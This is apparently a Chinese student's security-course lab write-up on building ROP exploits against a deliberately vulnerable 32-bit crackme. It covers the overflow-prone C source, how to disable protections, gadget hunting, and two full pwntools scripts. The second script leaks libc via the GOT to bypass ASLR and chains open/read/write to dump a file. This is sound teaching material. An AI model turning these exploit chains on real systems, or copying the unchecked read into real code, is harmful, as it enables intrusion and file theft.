信息系统安全Lab1

20220415信息系统安全(羌卫中老师)课后作业1

实验环境

操作系统 & 工具

待rop程序

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}

setvbuf():设置文件流的缓冲区

编译 & 系统选项

关闭/开启Stack保护(stack canary)(默认开启)

-fno-stack-protector -fstack-protector

关闭NX(默认开启)

-z execstack

关闭/开启 pie(默认开启)

-no-pie -pie

32bit 编译选项(64bit OS上)(默认64位)

-m32

ASLR设置(关闭置0)

cat /proc/sys/kernel/randomize_va_space sudo sysctl -w kernel.randomize_va_space=? (0或2)

# 完整编译指令
gcc stack.c -o stack -fno-stack-protector

Exp

cyclic 获取溢出点

进入pwngdb,使用cyclic命令生成一段100字节的字符串作为输入,可以看到程序崩溃并给出一个无效地址。

$ gdb ./stack
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> run
pwndbg> run
Starting program: /home/kali/Desktop/SysSecurity/stack
IOLI Crackme Level 0x00
Password:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

image-20220415092729679

用该地址回到cyclic进行比较,可以知道溢出点的位置是76

image-20220415093001780

获取PR / PPR / PPPR地址

在命令行中使用ropper工具

ropper --file ./stack_test | grep "pop" | grep "ret"

image-20220415093804493

可以从中找到pop-ret / pop-pop-ret / pop-pop-pop-ret的地址,这是这几个gadget在程序中的偏移地址,在代码中使用时需要加上程序加载的基地址。

获取libc函数地址

在pwndbg中使用print命令即可获得

image-20220415094300651

还可以通过readelf工具获取以上函数在libc文件中的偏移地址,从而计算出libc的加载地址

image-20220415094449437

两个system函数的地址相减可以确定载入地址

获取特殊字符串位置

# 查找程序中的特殊字符串位置
ropper --file ./stack --string "Password OK"
# 或者
ROPgadget --binary ./stack --string 'Password OK'

这里查到的位置是偏移地址

image-20220415095512969

这是开启了PIE的缘故,如果关闭PIE则会获得执行时的地址

image-20220415095613466

由于PIE是默认打开的,所以以下还是以PIE打开的情况进行分析

获取字符串在执行时的位置需要在pwndbg中,在程序执行时使用search命令查找

# 命令行执行
gdb ./stack

# pwndbg执行
b main					# 在main函数执行前打上断点
r
search "Password OK"

image-20220415100058834

获取成功的字符串地址后即可在程序中输出成功提示

构造payload

payload = flat(['a'*76, printf_addr, PR, str_print])

也算是完成了参考资料中的一个task1

Tut06-1: Return-oriented Programming - CS6265: Information Security Lab (gts3.org)

获取字符串写入地址

由于要求中要open一些文件,需要有这些文件的路径。需要在exploit代码中先通过gets函数读入这个文件路径,将读入的数据保存在bss段中,后续通过利用bss段中字符串的地址,结合open函数就可以打开这个文件了。

readelf -S ./stack

image-20220427111445843

可以看到此时bss段位置是0x00004030

exploit1.py 代码

查找完以上信息后,即可使用这个代码在开PIE关ASLR的环境下exploit了

#!/usr/bin/env python3

from pwn import *

p = process("./stack")

PR = 0x0000138b
PPR = 0x0000138a
PPPR = 0x00001389

payload = b'A' * 76

system_addr = 0xf7e00d00
system_offset = 0x00033cc0
libc_addr = system_addr - system_offset
puts_addr = 0xf7e2b4e0
printf_addr = 0xf7e0ff10
open_addr = 0xf7ead770
read_addr = 0xf7eadc90
write_addr = 0xf7eadd50
gets_addr = 0xf7e2aa00
exit_addr = 0xf7df3680

str_passwd_ok_offset = 0x00002031
bss_offset = 0x00004038
bss2_offset = 0x00004038 + 20
str_passwd_ok_addr = 0x56557031
load_addr = str_passwd_ok_addr - str_passwd_ok_offset
str_passwd_input_offset = 0x00002008

payload += p32(gets_addr)
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr)

payload += p32(puts_addr)
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr)

payload += p32(open_addr)
payload += p32(PPR+ load_addr)
payload += p32(bss_offset + load_addr)
payload += p32(0)

payload += p32(read_addr)
payload += p32(PPPR+ load_addr)
payload += p32(3)
payload += p32(bss2_offset + load_addr)
payload += p32(20)

payload += p32(write_addr)
payload += p32(PPPR+ load_addr)
payload += p32(1)
payload += p32(bss2_offset + load_addr)
payload += p32(20)

payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)

print(payload)

p.sendline(payload)

p.interactive()

代码执行时,会调用gets函数读取需要打开的文件路径,并将其保存在bss段中,puts回显文件路径保证不出错误,调用open函数打开文件,由于目前程序未打开其他文件,所以除了0/1/2外没有其他文件号,3自然是新打开的文件号,于是read使用3读取信息到bss中的另外一段,write将这段信息再输出到标准输出。(flag文件中内容为:a flag)

image-20220415104046313

开启ASLR后无法正常执行

image-20220415104438451

exploit2.py 代码

在被老师打回作业重做后,又找了其他办法绕过ASLR,最后在舍友zsd的帮助下完成以下内容

(自己忙活了半天才想起来关了PIE或许好做一点,不过说来奇怪,为什么自己开了PIE每次加载地址还是一样的?)

这里利用延迟绑定的原理,从PLT和GOT中先获取libc_start_main的运行地址,然后计算出libc的加载地址

通过start的再调用,让溢出点再次出现

根据各所需函数在libc中的偏移,结合libc的加载地址可以获取真实可用的地址

剩下的就和exploit1一模一样了

from pwn import *
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p = process("./stack")
stack = ELF("./stack")

PR = 0x0804935b
PPR = 0x0804935a
PPPR = 0x08049359
num = 76

payload = b'A' * num

plt_puts = stack.plt['puts']
print('%#x' % plt_puts)
start_addr = stack.symbols['start']
print('%#x' % start_addr)
got_libc_start_main = stack.got['__libc_start_main']
print('%#x' % got_libc_start_main)

payload += p32(plt_puts)
payload += p32(start_addr)
payload += p32(got_libc_start_main)

print('payload:', payload)

p.sendline(payload)
p.recvuntil(b"Invalid Password!\n")
libc_start_main_addr = u32(p.recv(4))
print('%#x' % libc_start_main_addr)
libc_base = libc_start_main_addr-libc.symbols["__libc_start_main"]
print('%#x' % libc_base)

open_addr = libc_base+libc.symbols["open"]
read_addr = libc_base+libc.symbols["read"]
write_addr = libc_base+libc.symbols["write"]
gets_addr = libc_base+libc.symbols["gets"]
puts_addr = libc_base+libc.symbols["puts"]

printf_addr = libc_base+libc.symbols["printf"]
scanf_addr = libc_base+libc.symbols["scanf"]

exit_addr = libc_base+libc.symbols["exit"]
system_addr = libc_base+libc.symbols["system"]

bss1_addr = 0x0804c038
bss2_addr = 0x0804c038+40
# open("/tmp/flag", 0)  #some note for file reading
# read(3, buf, 1048)
# write(1, buf, 1048)

payload = b'A' * num

payload += p32(gets_addr)
payload += p32(PR)
payload += p32(bss1_addr)

payload += p32(puts_addr)
payload += p32(PR)
payload += p32(bss1_addr)

payload += p32(open_addr)
payload += p32(PPR)
payload += p32(bss1_addr)
payload += p32(0)

payload += p32(read_addr)
payload += p32(PPPR)
payload += p32(3)
payload += p32(bss2_addr)
payload += p32(64)

payload += p32(write_addr)
payload += p32(PPPR)
payload += p32(1)
payload += p32(bss2_addr)
payload += p32(64)

payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)

print(payload)

p.sendline(payload)

p.interactive()

参考内容

基本 ROP - CTF Wiki (ctf-wiki.org)

Tut00: Introduction - CS6265: Information Security Lab (gts3.org)

栈溢出基本ROP绕过ASLR和NX保护_dittozzz的博客-CSDN博客_关闭nx保护

Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com)